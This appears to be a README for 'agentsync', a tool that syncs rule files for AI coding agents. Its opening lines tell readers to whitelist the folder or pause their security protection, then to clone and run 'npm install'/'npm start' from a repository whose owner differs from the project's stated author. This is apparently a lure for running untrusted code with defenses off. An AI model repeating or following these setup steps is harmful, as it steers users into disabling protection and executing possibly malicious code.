Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/Mortarlyaplug/ai-rules-sync-202.git
cd ai-rules-sync-202
npm install
npm startOne source of truth for your AI coding-agent rules.
🔗 Live playground: https://panishandsome.github.io/ai-rules-sync/
Codex reads AGENTS.md. Claude Code reads CLAUDE.md. Cursor reads .cursorrules.
Copilot reads .github/copilot-instructions.md. Keeping them in sync by hand is
tedious and they drift. agentsync converts between all of them — or
generates a clean AGENTS.md from a short spec.
Zero dependencies. The exact same engine (src/core/agentsync.js) powers both the
CLI and the browser playground.
npx @panishandsome/agentsync --help
Or just clone and run from source — there are no dependencies:
```bash
git clone https://github.com/Mortarlyaplug/ai-rules-sync-202
cd ai-rules-sync
node bin/agentsync.mjs --help
agentsync setupThat's the lazy path. In your repo it: generates AGENTS.md (by scanning the
project), writes an agentsync.json, runs the first sync, and installs a git
pre-commit hook so every commit keeps the files in sync. From then on you just
edit AGENTS.md and commit. Use agentsync setup --auto to let the hook accept
edits to any rule file, or --no-hook to skip the hook.
agentsync init
agentsync convert .cursorrules --to agents -o AGENTS.md agentsync convert CLAUDE.md --to copilot
agentsync generate --name my-app --language TypeScript --framework Next.js
--test "pnpm test" --build "pnpm build" -o AGENTS.md
agentsync lint AGENTS.md
## Keep one source of truth, sync the rest
Write `AGENTS.md` once and let the other tools' files be generated from it. Create
the config (it auto-detects which rule files you already have):
```bash
agentsync sync --init # writes agentsync.json
{
"source": "AGENTS.md",
"targets": ["CLAUDE.md", ".cursorrules", ".github/copilot-instructions.md"]
}agentsync sync # regenerate every target from AGENTS.md
agentsync sync --watch # regenerate on every save
agentsync sync --check # CI: exit non-zero if anything is out of syncMake it automatic with a pre-commit hook (so the committed files are always in sync):
npx husky init
echo "npx agentsync sync && git add -A" > .husky/pre-commitEdit only AGENTS.md from then on — the other files are generated outputs.
With --auto you can edit whichever file your current tool prefers (CLAUDE.md in
Claude Code, .cursorrules in Cursor, AGENTS.md in Codex…). agentsync tracks a
snapshot in .agentsync-state.json, figures out which file you changed, and
regenerates the rest from it:
agentsync sync --autoIf you edited two files since the last sync, it stops and asks which one wins:
agentsync sync --auto --source CLAUDE.mdHook it up the same way: echo "npx agentsync sync --auto && git add -A" > .husky/pre-commit.
Already have several rule files? Fold them into a single AGENTS.md:
agentsync merge CLAUDE.md .cursorrules -o AGENTS.md→ https://panishandsome.github.io/ai-rules-sync/ — paste any rule file on the left, see the converted output on the right, or switch to Generate mode and fill in a short form. Runs entirely client-side; nothing is uploaded.
To run the playground locally:
| id | file | tool |
|---|---|---|
agents |
AGENTS.md |
Codex / open standard |
claude |
CLAUDE.md |
Claude Code |
cursor |
.cursorrules |
Cursor |
copilot |
.github/copilot-instructions.md |
GitHub Copilot |
windsurf |
.windsurfrules |
Windsurf |
cline |
.clinerules |
Cline |
aider |
CONVENTIONS.md |
Aider |
gemini |
GEMINI.md |
Gemini CLI |
qwen |
QWEN.md |
Qwen Code |
Run agentsync formats to list them.
Every format is parsed into one normalized intermediate representation (sections,
intro, file globs, warnings), then rendered into the target format. Adding a new
tool means writing one parser and one renderer — nothing else changes. Tool-specific
constructs that don't translate (Cursor's globs frontmatter, Claude's @path
imports) surface as warnings instead of being silently dropped.
Flat, heading-less rule files are classified semantically: command lines, style
notes, and prohibitions are sorted into proper Build & test commands, Code style
and Do not sections rather than dumped into one blob.
agentsync init [dir] [-o <out>] [--force]
agentsync sync [--check] [--watch]
agentsync convert <file> [--to <fmt>] [--from <fmt>] [-o <out>] [--json]
agentsync merge <file> <file> ... [--to <fmt>] [-o <out>] [--json]
agentsync generate --name <n> [--language ..] [--framework ..] [--test ..] [-o <out>]
agentsync lint <file> [--strict] [--json]
agentsync detect <file> [--json]
agentsync formats
npm testSee CONTRIBUTING.md. The repo's own AGENTS.md was
generated by agentsync itself (agentsync generate), so a coding agent can pick up
the conventions before touching anything.
MIT — see LICENSE.
